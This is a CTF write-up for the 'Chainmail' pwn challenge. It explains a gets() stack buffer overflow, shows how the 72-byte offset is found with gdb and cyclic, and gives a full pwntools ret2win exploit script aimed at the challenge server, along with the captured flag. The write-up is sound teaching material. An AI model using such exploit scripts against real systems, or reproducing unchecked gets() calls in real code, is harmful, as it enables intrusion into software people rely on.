Below is my Writeup for challenges that I managed to solve together with my team
Chainmail (Pwn)
We are given a C file and an executable. On viewing the C file:
1#include <stdio.h>
2#include <stdlib.h>
3#include <string.h>
4#include <unistd.h>
5
6void give_flag() {
7 FILE *f = fopen("/flag.txt", "r");
8 if (f != NULL) {
9 char c;
10 while ((c = fgetc(f)) != EOF) {
11 putchar(c);
12 }
13 }
14 else {
15 printf("Flag not found!\n");
16 }
17 fclose(f);
18}
19
20int main(int argc, char **argv) {
21 setvbuf(stdout, NULL, _IONBF, 0);
22 setvbuf(stderr, NULL, _IONBF, 0);
23 setvbuf(stdin, NULL, _IONBF, 0);
24
25 char name[64];
26 printf("Hello, welcome to the chain email generator! Please give the name of a recipient: ");
27 gets(name);
28 printf("Okay, here's your newly generated chainmail message!\n\nHello %s,\nHave you heard the news??? Send this email to 10 friends or else you'll have bad luck!\n\nYour friend,\nJim\n", name);
29 return 0;
30}
There is a main function of which performs some printf functions then we see a gets function which is vulnerable to buffer overflow. There is a function also give_flag() which opens a flag.txt, that is the function we want to execute. This is a classic ret2win challenge.
Let us find the offset: I will use gdb and cyclic to do that.
cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Since we see the buffer accepts 64 bytes then we can input more than 64 characters I will put the break after gets functionsThe program breaks due to sigsegv(segmentation fault)Copy the value in rsp to find padding using cyclicNIce, We get the offset being 72, Now we need to know the address of give_flag that we need to execute. That should be pretty easy using gdb.Now developing the exploit, I Used pwninit to patch the binary and develop a solve script that uses pwntools. In the solve script, due to stack alignment issues we need to have a ret function other than the flag function so that it can execute well. We can find the ret function using ROPgadgetHere is the exploit.
1#!/usr/bin/env python3
2
3from pwn import *
4
5exe = ELF("chal_patched")
6
7context.binary = exe
8
9
10def conn():
11 if args.LOCAL:
12 r = process([exe.path])
13 if args.DEBUG:
14 gdb.attach(r)
15 else:
16 r = remote("chainmail.chal.uiuc.tf", 1337)
17
18 return r
19
20
21def main():
22 r = conn()
23 padding = b"A"*72
24 ret = p64(0x000000000040101a)
25 flag_win = p64(0x0000000000401216)
26 payload = padding + ret + flag_win
27
28 # good luck pwning :)
29 r.recvuntil(b"recipient:")
30 r.sendline(payload)
31 r.interactive()
32
33
34if __name__ == "__main__":
35 main()
Testing it locally, I made a test flag to test the exploit.
The script works fine, testing it using remote: We get the flag
uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}
More writeups coming